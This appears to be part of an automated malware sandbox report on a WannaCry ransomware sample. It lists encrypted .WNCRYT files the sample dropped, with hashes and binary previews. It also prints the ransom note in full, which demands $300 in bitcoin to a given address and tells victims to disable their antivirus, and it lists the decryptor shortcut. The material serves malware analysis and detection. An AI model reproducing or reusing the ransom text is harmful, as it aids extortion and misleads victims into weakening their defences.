                                                                                                                        Preview:WANACRY!.....\=...h...i.....0..A......s.W.v.6CD4...$9.m..Y.)..`..J.N.....v.l..4.....+...".8k.U..f{K......2'....Z...S1Q.....%X.%.p.Q.]..G9.o..Y;.....@..2.G...Y....*f.MJ.D..6".6OjN.Fl.y.M`9..~Ss%....Q....+.Bo.....w.i.......M..n0.Z...~....P?...P.7....d|.....D................@..h..^.YT.......U-."".F7Q....R'....`+.......^.q......^...I..03ny.=sA5.:...`.. ..-.l~w*.^..Ir....[.({...\..Tt..$.M...(../KB.'(..B(K.Q....H.Yx.60,..c....1S$wP.[c.:..r.9...FIp.......U.....A.U..N.io..S.b..2d...W...=.a=.y.....$x..aQ.gz6.$...Wn..|..&.!..Ay.......2J..@G....b&+V..1..uJ.m...0....)#...,lQ..YZBf...)......8....=p)..GK...1...U..K..;,.4O.....1}`.nh~X..:.&..b9u,../.w..P..'zj.r.q....;..j....u.......<..LZ]..p..h."8.|...ar.....%.z...C....).....)Y........NL..^.#Y..s..;.l........!t...Q.]g.`....G..c....$f....2if8..2.#.ro.Bm..Q..H...!..q.7'.Nq..Q...+.^Y.@Di..@7."..............,..z7.,9..q..u./.u{..N..a.[..X...Ph.?........6W....V...f9........_...D.h...\...B.....eF3r..>

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2023-08-05.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4264
                                                                                                                        Entropy (8bit):7.955613758625328
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:obq1P2joUfSioI+bHB3KL1MqNazTt4GaTAPu8z54GoqRq:11fUfSi383G1MqEt4jAYG1k
                                                                                                                        MD5:8385CEDA57EF818BF0479E976500BCD6
                                                                                                                        SHA1:885E155EF64DD5C9DB9266D5B7270BC1D5C307E7
                                                                                                                        SHA-256:6123861292214F82FCD885F5E8309D66C71BBFCC8393D129A03508635249AC6C
                                                                                                                        SHA-512:0049BC9B51592ED8791F050CB29815648A0956FD7C1A9BA07B4581D7CB47DC5076CC53DC327EA279E1A114CB0BC9A50015748BC4D7D1C378FE5A840D7E2D2C06
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Q.... ...+h-...rO..+..).(..}0.2........L.&...O9...J .."Au..hi.....y........@`b.ae..m#^t.{...F.1@.C.gUF^.....T....f.K...AHeZ.4.I7x:.[...JB..S...=.6.V.b..t.(.'V.Q.I..g....$x.%..z.o@.f99.a..@.'..d.8DbJ..d....@5)..{...$*?8;...yz...S.-.....g.................@..T).."..?...xQ...A......0C;..)g..f{.G3~L..G../.(;..JI}.\z...A^.U..........".Y>s;j1..Tu.IU..\...W.hB.........q.f..l7....P..O<..h.@j.c....^O'/9..hi.M.MQ....c.y.1t.P..+.W.B*?..]Y1.?..';y.../g..+.kD.R..v.6.V.....b..a....#...,2.!.O.l..je...1)z.@C.0.;^...:E.>.G0.=]..I z".|w9TNH.n].]..P.Nc.}...Gh...=......PB..:yX...J@.~.b.K..K...$*.H.Q....../#....M.{.M...T..kx..V..7.N.c.......(I..QcKYr+,?.1.#D..,.,C.Id........#..IG4...2d..iC..Q.0.2JB....k&+...[..;.....k..3 ..a......K....8"y.-/=.o..d9g ..........R5io.1.K......W..B.........e.,.Ou#...a.6.....FJ..9...P.j...UU.@.=uc..J..W.....Du...(.........h{.4.HD.........X..'.h.4.....:.S....r-Bk#K.7..H.K@..%ef..W.@L.#V....i...@zr.~YNW.....

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-06-03.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.90542511536083
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkdacR1Ji5z5bwrVdACBqQxHp65XUe8y6EoKws73IPY5rJ6+Dt6F2BvyuDFSt1ay:bkdZJi5BGpxJ8on3ds73IowQB6u3RStN
                                                                                                                        MD5:D3D4B19B9D515064795F3816E54CCAE6
                                                                                                                        SHA1:3288C0B919845C28D4CFBD7482317451A6087B67
                                                                                                                        SHA-256:9EBE2EAC41304CFE986F894166F6D8BDF7769ED18240AD727246D438BAA71D74
                                                                                                                        SHA-512:B6EEB2267799FFC67F163528E591928C3B9D0A85B090FBC89DA890DE23B3157D6A924A96AB125EB6E24C848FC113595B85146B5A0C4CC6F97E342CCE45977F34
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......U..l.......h.@.fY...i).0Y...q.'.B..p..8..6.....C./T..b.rP.y.HC.Y.ITkb~....F.G...k.......`0XS`.b,....S...u....$..AC.H.q`I`R.=...9...:.c..C..ND...h=o..._............vi1..z{.F.(\..x.i8?@d.W.TL.k..........6.....=|.....,. .~....8...\...d..M...T..c....#.........-...........P.t5.O.......-?..)F......z*..o...~..._.^.! .[../N..........Z..o......=...!_..COQ...'.M.....c7..BC"......Vi2......D.........w.N..s'...:Q.RS2.s5~.AL..Wk.M.6.uV.........\K....*.....ygE... i#..J.D...V..T.1~n;....0..OlM...b7.>c.[.......W..)&|...Ci...g.C.."..@l...q.D8y...$....P.....G..9*..........;..]...~/.T...5...6........Hv..[bT........ .F.f..._\....+..=-.j....H...1^........G=].-W.u....rl...E...hHY8..Bm.k....G...F.BU.;.F/X.....EJ..R...:..VLOz......E......Y,l%....An.q.<.}.. Hz.......a...I...]3....Z+P..,g....y....o.V..qQ.......$6X.-rtXdO..S+.......'.j.....5CD.N.$`..c.d...MvR.......Y>.....v..*....%q.m..-.@.'..|O.....9....2..D.....}.V.0....D.D+.j%.K.Azs...-,.DK..O

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-06-19.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5912
                                                                                                                        Entropy (8bit):7.9686907959770314
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oX8MDsgxtPnhDp/kGCAfERFRlHVK9RoGt/pgkAnClowRKN2O1Wg+AKQr5NTV374/:s8Mggbnhhw0+FtK9RoGtVekaWxAVrjVa
                                                                                                                        MD5:873D3DF62E632C652EB8A90BBAF31E02
                                                                                                                        SHA1:A1A5A526A7749A1FD84D971979A9DACA113F0278
                                                                                                                        SHA-256:7EB0403D0F16A056F55A4716E664F3B5513D3E701C1C75D2CE455442103CFA92
                                                                                                                        SHA-512:DAA78E99217C5E4C4BB19EFFB614AD3030F9F167B4BAFDE116DD9F7CC048BCDB0FA246FB0E4818DCD90FC93CBD395B24BC81DAC2B78F066B1D46A65B1D1E8464
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Z..Z.w.../Z .;.2...d..4.rC...2.v..6.H?D.v..7T2..L.x.dN...cR.....v....m4.......$N.E...Y.........`,...*.F..Q..P..6t...i.q... .&.<r...),..v.SY8...v'..3<........%.^..5)R32..2.0Sc..6......A.]Y.......uaK.\.Nt...xU.....A.....B.2;.(`....4.6.%zH.u...4.2............./.cXR1.....LLC....~ .E......J6.D.?.....A.hGI.Y..]...|.g..2....!E.L.".."m.kc&yo.~...M..w9y(YE...[.B....c.C..........].?.K?.ie.}pn..x.9..Wa...j.+Is..|.TW...\4Bsu...K,G.3..z7..........|.2.?...} ...2.O..hob..p9pG......4..R....T..k..:.n./4..7...i.F....H@_[2..*.v.u.`.....28'.bw`g.... \LAT_.*..`.S...y8....=o..7..w.F.N'..cp7..{H..!. B..9(...R@O.@....];.w.y.y..... .^x..$ ..#............B...;q`..........f.$.7...8..:..!Hx...n..P.6...%.|"{3.......J...$Rn...1...{Y|#...[N.he......+)<.a.....g}...mq.uD.%...(.>.....Py.RA....j.B.y.<.o..7.j.f.U.OI.....I.........z..Gk[.y.K..D$.......c..x.,2.E.u.0O0a._.Q...C^|. ..My..AXJ.{..\W....'.m.h.iGL%..,.....8..+..M..K.m....f...o"3yk..s..F.U...^D..!.G.K.

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-06-20.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):14216
                                                                                                                        Entropy (8bit):7.98448834773189
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:11AZOs9ZuobZb3rj4MoV+ZAw0+Z2hECHmZ3L5C2J6:11AQYbdbj4M8c1ZLhVNx8
                                                                                                                        MD5:FADA4F5C93ACC19B170D2E5E74A79451
                                                                                                                        SHA1:AF6DBC09380A51DB2069D5FBD95985FAAFA5DA19
                                                                                                                        SHA-256:4E8679B15E8F214866E558AD10A3C6A5DEE7617B092C35AF9F26865077FC47CA
                                                                                                                        SHA-512:DB209890192E19098BC5055FDEBE0A3C89A171DD23B8374CEA8CC9828E61195DE3EF6C91F62445B0237F299B30FF0B74D89F3D152E1018FCA70787A7E5A4A0E3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....p/.....N.cp...H....h[..l../.m.N.Sw.9..5....+...Wc.t.'.I.,...B..Rw..=.s.}+.3.8L.=......fz....F..t....V)...J....48V.Z.......@:..h..(.G.P.i....'. ......1....R..*Bg............JNm....5)h)N...Q^..=...5.O|<./...a......n...`1..3.(.^$.n.^X...H.......l6.......i....'f.&....?Cq.......s.....z...p.p~.?..5.k....3.h.E..+.T.(.4=!.9.eWw...l;[...P.}....68.vi.._..F.'.........S....y...+..T[.'...*.J..........w.........r......;.......*FP.G.....-9.......k3....X#............T..C......%`...LMr?y.N......M&....[<1...$04o...T.H.....X.%.......4u..]..*.QbIz.]..J-Z.}.9/.RFE.`9C.x......"Q.z..+..m.UX..*.;.R.$)..=..p.8.Qz.....,g...J4.|.Y5...}Nl.<.v._.!.W.......z..G...!.......T....^.S....$....^......;.V.....1 ....z|...R`...F......W.^H..s}1........KB/....-.=^...H.x~q...R!...F.......].....q..].`..N..n/....:j..0...I.m..wC....9.>|.tN....M....+.2A."^`{......`."p.6.G.Y.[...........!.3.^t..k. {.2....^..2.r.$..T.........e.I4rn.m.;.$.{..\..IE...".A.R.]..[..(.X...]*bH.

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-08-30.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.891222148602009
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkQXNww1sEJKz505NwIrJC9lVqq8wAC+Ddf5eKBv:oQXNwwCDz505NK9lVGC+Ddss
                                                                                                                        MD5:746AE448ADEBF41356BB93904AB27566
                                                                                                                        SHA1:5952B51949E6B5A9665F7D3B81647511CD1E5D7A
                                                                                                                        SHA-256:9571D8B358FB99887467CB6DC42F17676799F17E50A84657816DE5C48205C243
                                                                                                                        SHA-512:FFDDA19DE1A3F94288467EB69FB2A522D0D0ED890A33457FE0F31B99024C078563DACD902244DE3C9ED7AF27EA7B76F5785601378C712AD32648DCBC69F73918
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....<.Y...W.Ir.&|...Oz..I..4.3es....:H.|rb..#o...N.E..W$G.6.#,.B.K...T..)....P.a-.i=.Q...^.[<..G.....<.Y.h$}.\..qu..;]....,..Xp.....\.fM'.+FO.\......".(.......l&b>......j[......h.Y...=._..TVT.8...*+..l...1./.q.h.Z.a...x....u.....7.l\....V.|:1.....#.........q!0.....9....]...E.3...k..Q...$G.WX.'k.5u..-.U...!..]...^...V..J.>......;&..V2U....\[)m.Au.K...p......=.BD..=.w.Z..I.....D.N..A".@f.c..jd.h.ek.r..2....fdU-.\d?X.=:..fL.{..(v.H.C..(^.N..lSv./.cI.@b.0... !Ed.....t.G..-.F'..u9..._...)<o:.rQ&.?-.7+y.......=..<:.*s-.L.\s...}@]l~.0..R...*c}..U.&3..I.".....^kG.kn.9..|..d.F......X2P...H..9...U,}g.xYi.B0...i.....\-...@]M....y..w..t......R/.@..b.7.)....V.!.._7......n......L.....A...K..+..I.'x...W..I.ZZ*.?p..D.....e.Gg...X.Fe.^.'#]..Q..T.&.....s~-./H8.E.y..a@`d?<..&...l\..,|...4.Q.C...$.q..<G......`.~.`..+.f....}I.....F`..-....]......3...],...q.l..!.lX.d...!ls.nXH.kU.G.u.g..|V..r..Q.#|..;e#...u,..[...m..N....O(7y.M..Qsp.X[8Q...C..

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-09-02.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1032
                                                                                                                        Entropy (8bit):7.805124047749662
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkHKLPmqMJhMZWRmMgJSuEgoV7KFOJP/oglUltoOeMh+:bkqL7MzxmMiEgGOglUltTeMh+
                                                                                                                        MD5:04B40D8E94D3B5D87820128F020A6358
                                                                                                                        SHA1:D57B45E115514767ED0FB6C4F0DD3373C8159CFD
                                                                                                                        SHA-256:B4FFEED7467A77D5A3D89AA5F9E8953021E863246C0B28B86E6FDD7942483F13
                                                                                                                        SHA-512:FF3F0C75A06B212A848479DF275B71AD8554DD55BCC6CFC26FC0898BD625C5C9351DB7499B7FD931D18C5AA3415EE89407445D8CCE435C5E0CB7BB29346B8275
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......,.U.`.T....8.".P.h.?.="...0.j.^b.n.\y..FD....+..........f...b...$..w.2........R.....o_.cL3...8P..]..w....K..z.6.")...@..i.I.<. .............e.##.......;.'.).E....N.2kF.>.<......1d9i12.x.J...._].....CDh.f..<.k..1{#K.m.%..?9]...c.K6.......]......................).......%0...A.d.......9.k).......BO........j.._r.p.7....>..d....X....~.+.t............1.9W..B....U..2...4.6.C....:...._..s.),..+..Q{...M.X...~....K.."..17...ZP......m9^......n!._eH]..q....^...?n..\.i.9..6,..RoM'.........J4!%.....0m....3......f..j..@.t.w*z.3...FI.E..2...[....y+.5..N..._.....63N...._.S.l.|.-.'4.E......]..}.L.u.....7.Nxz.Y.....<-.......5..X,........0wW..[..R.fpZd.[...!>YG.%....E.D_".1\q.(..j.....^.] ...o__......o!.y..K....-Ga..~p@..q.%7?.I...z...N0.v.D.K`.-.5../..%m8...w..r.{!.......a.ua....W.Iv..z.@..^..m.Q:..H.UH..>..T.-....JQ........N.":J..$.^....j....u...g.../..'i..HY...r...NXD.0...|.&{.....$.;Z6sZ.G.\@.u.d+...7..............j....3.&]..t.nY..

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-09-10.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3512
                                                                                                                        Entropy (8bit):7.951371908230921
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:orO51IPLq3uwfEFaCk9sQuAGAno1ZBr2Wayf7uah:MTL3rhkvujAnopa87V
                                                                                                                        MD5:BD80786533901ED9030D61D69B2C9A98
                                                                                                                        SHA1:EB09C2CAD3E7E7D159F49FD867025915B21B1FEA
                                                                                                                        SHA-256:D5C5B7F15648FBF1684F7BDB59CCEA3CD71F4C1A098D031AF9D063EE8FEC76E7
                                                                                                                        SHA-512:91A5C90AD124E45256478041B7A1A0962A872E8A35B66BAB570549E174912083EFB947C806E5E1DC563EE7CB93F4EADB1BFC256B9A7F56970687206C9AE2504D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......9....D.D....(.$... .......Q....y..cj.I..i(2./.Ko.......l6.l......-.MV3N...2T.K..V..49R.t...\#.n..p..}....k..r..m..Yv......<u*e.?...........:[.R-..I..7..N8l../...C.K....<.`...a.1tj.......Vi.f......-w[#...Z.12.+..3o].AS$<.....m..{]..k.Id..=.P...l)...............f.@6..o...v._.@8.%=...y..l...)kbl..D<...... h*.&e...;./...6.v..hG...".Z.`....^F}...........A....EC.v......24.....ro`.;`......7 ..lBk.?W.~.[].$'.K....F.F1......f...0......N....0.......L2....../..2...D........X..s=...r,...D#.E....:V:.d..^..rn...H$...A2...T..Q1.9.]n.G.-.........3.=. r;....c...m...*..?je1..{..|;...+.<h~X....l$.z.U.U I)y.;.....d.O....E3.r-..j.u......=.9u.FKEbAH.....e,.....;.z.....2.....$!.a.e%.+Z.0......d.pkg............lH.lIu.|...Wd.v...O...!...jj..V"I]...N..(..C....h.*.._:..:...\.C+M......y.....t..........=.].PF.(..S.%F..<..(X.#1...*,....R.......aO...%..e~.].z{.C....\{I...h1.8...S....^T.)7....B.7...k.H.....L...7.i..b.m>.....9WQ../.....L...U,b8....L.vA.,..P

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-10-03.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2696
                                                                                                                        Entropy (8bit):7.929699023333155
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkaXuYRuP2rA/f0R+5GZtpzHTdDwNWCMo+77VaoqN+lm/CI1NVS945:oaXuYRuPbng+5GZtpzHR4UcEIv7qO
                                                                                                                        MD5:32F5E68D286F87EB9673650D92E6A4E7
                                                                                                                        SHA1:F8B9783F4DAFB80C831A1CF4A659B62E1A538819
                                                                                                                        SHA-256:EB5AB4FB9D3548FC68794003E76227987B078EB7BADF753B80DCF174F5023A2B
                                                                                                                        SHA-512:78AEE4C2D7C9765CC061B349479A043D1F93A09333E7A679A2BE57AF808A3CC3596F3B3AFC2192112B08B44B6B3E36B8ABCDF12E28CD0EC0B9F2C5CAC980858D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......2D1Zp...n....5R..i..".I.B......._..,T.P......S6.,./.@./N.}.......S..H..v.Wp..;............2....%b...K%..........W...!.m.vy..-/.[6.P...H...)W.$o.....l.......-].]...J.x.).......C).....W.u.W..Z.....^.k.._g..&L...9.......AH.P.Kkw.+$.B....<.16.nP.....a...........G...._.m.M..w.}.r..L..?K.v.=.).r...*. .$.g..#..R..)....$I......y.*.s/.A.R0.n|7....+8rbP.J(].....iv.e,.#....|-.&.K.....T.........r~y~jk......hh...&l.e.....5.6.l......j3.1.m..6.....c....0..;.A}6.y..@..Q;.So.E.._.......c...6..y;..T/L`}..8.k'..._...4.%mm.W.....7.....9...J._ X.q.a!.6.`q#....$....I.."n.z.J.V4y..<......b.A....-{x....j8"......$<n.z..T.~y...a3tPn=..O.1R...9]...<qI,..")[E.xQ...n.J.p..&..v_O....8...Ob...G.~....\o.7.U...,...MF5.{.2..,...h.2....S.~...0."..0>..|>..S&U.y..n.....S$.p..i.qQ9Y...........rm".1N.4.U..6:&"O#X.:......k.e.Y...~.....f...c.y.Y.<f..i.":nu....N..A...\...|9...lNF.....u.})V"d6.p......Ac..9.v......+....)......c@=....>.#.&~w..u%6.^.S8...v......u..Q

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2024-11-18.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.895878321606407
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkCEoEtADv4TwrmcF3v3OW7OOKpHmnLhABRBJ:oCEyk4mWfX7ONpHAL6BJ
                                                                                                                        MD5:3E017C328ABF97AAEC3E19B2EC6A1415
                                                                                                                        SHA1:50EAFE3C192F8B11B15B31E3BC4778569B986A9E
                                                                                                                        SHA-256:2A6C7F0E4E75069F60AC2336FB0BBC1E93E5A74251E8D98B0D8431F54DC8A597
                                                                                                                        SHA-512:C9377B7BC425D55B161518C537A95F4A6CDC84E33A8ED6C9547B526B0A4A7BB0CE3C1FEB73DCA3955A270A6D152DCBFBE66AE54B31E7CD5F12554423CF6EBCF7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....&>.,.k....>&...0..7...U.D...s. ....7`.kSV._~.j`..n.3<....|z.t...W2c....IL..0....p..'}. $..(;....O..VY..UI.....{..i@..].d...oO.4..@.)W..z+.f.&.. ;.5...n...-.7....;..k....T....Y.^p....@.%}......CWt..an..%1"..vv.R.d8r..%..6w..#....bD.[n.b..u.(....#.......[6@|R.+..;....v.fQU..,e.Q..b...:.H..pE7.Y....h.=vF.|.....`3LD)...;...<.....!t....[..Z.p...h..j......j}...:..gs.{...g._pl......+.{..5$..(;.......C..M..>...p.fD..,/.'...E.W.......fq.L.X..F:.j..#.Do.....?.. .....T....A7.f.F{1jT.8....;.".i"q...Cm..Ts.P~..c..<J..f%....\.NL.8.c.6...z..=.sB....j."4a.=!8~E!.N.)B.<..`t.\H$....T.Nkw....c..3...F.). .s.j.).....4..vw`..5..;.t0.t..-On....6......A+.s.g..d0.&...%..jp1k...Ju..9....o..- .`..Op..!...16+C[.?...T.v.[..V.:i.S....R.*o3..........v.'...|..&J..4.6#P..Fye.8jF...\..9/Z7.t?....x.6.`......."....Q9w2.B0[..:.=8<.c.~8?.6..).T.H.H.....s....B~.0.h..6.,......{.*.....0s..X....I<......".iM..W2S.....}lt..:....G............p..g<..W.e."E.0..W.d.j..k.....{.1

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2025-01-08.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1032
                                                                                                                        Entropy (8bit):7.783643533612695
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkVtrrexs5EefQMuZFbtSLJNBz3emh9psnheC9MW:bkvraxs5EefVObtmNVh9pUwW
                                                                                                                        MD5:E4BE4EE4FC349BA66D6CD5E48F45175B
                                                                                                                        SHA1:C09F55700829ECE2C99BCEF6A47B64F5418385E1
                                                                                                                        SHA-256:9592B54DB2AE41504975C95AABBE01797ED346AE27F18B16856456835EFB5AB7
                                                                                                                        SHA-512:305C8C104C8711094BCA96699E67BC3EDF474D4D185661D9C816BF20E18A2088287F9340643CDED9E855F4C637D44914A9723FB8ACC97A2568B1B63F8297430A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....Y...b<.....Q.....w...RD[}0......-:...o{m..6..UK.....3b.G?....8Q.f).D.$.A..O...\.....1q..-.0.`.y..Q.oz.............p.JR+..)....r...%.].*[..L`...A.mXG.g.^...U.v.:A<g...^Mo(.M..X<Co..F.Tk"o...m...p..].k.Q.u.l..&A.0....0.C:iV.y.b.V1.%..G.CV...C..H.............r.@...`Az...S.?..m.+.a...4.]....t...:o.(.*P.&P..p..._.../."..j......B....O.._.]/8..~m.b...t....s....}s.{..../....~...b\2.&u.'.Y8.}.6-@...DK.Z:...".V.M.VJ...pT....x.-...RI..I.I.........\..S:...x....95L.B..6..{.8`.....j..X.3.=E.YT"Y.....w..3....(....8..b{e......A.........o...L.S..S._...............{-Vm.:.QN.D..`..Z.R..G.%..Kg.pF...u.T.~..`R.}..T.......P...........U.39I....#....z...H...5.e..0jK.P......&.._..6..w&...:AV3A.AEB~W.x.F.&n2.........8..I....T..$:$....f'.dv.....u-.....%...{:...!Z.U>l...3.-.E.~58TK<QQ.j..'..qO..V4.9........jg.....+/..2..K..9xz....>._`.N...T. .is.iX..e8.>..>.T.E,t..j.-./R...?..a..).A...9..7.|.p....3#h^.w.O1....;../...;7...~_V.r.&I.A.1.o.-

                                                                                                                        C:\ProgramData\Microsoft\AppV\Setup\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5256
                                                                                                                        Entropy (8bit):7.9682403646811455
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oH7xNSS7Vfdz1AWU32gn2ubVsTCv7X73jmawaOhbrcij+TdQlJPUuD0VL:E77bfAN3NJsa7Osi6TeEug9
                                                                                                                        MD5:A0E1D7CB1236884997D8D4B171E901D0
                                                                                                                        SHA1:B8C72D6A1C56F2A247789D02DC5DF92F7A7EE615
                                                                                                                        SHA-256:AA9B2C3EF702C0981493EF303D251707C02C58DAF07B4CA6B6E035AD70947E7A
                                                                                                                        SHA-512:EF7AA5DC0873F523B148E2475AD8AE8435C442257FB5F01120B3A1517D353C2B75473C9F6D679C53F339A95CF52B21CF06A6CF73FACE3F82860C12326DEB20E5
                                                                                                                        Malicious:false
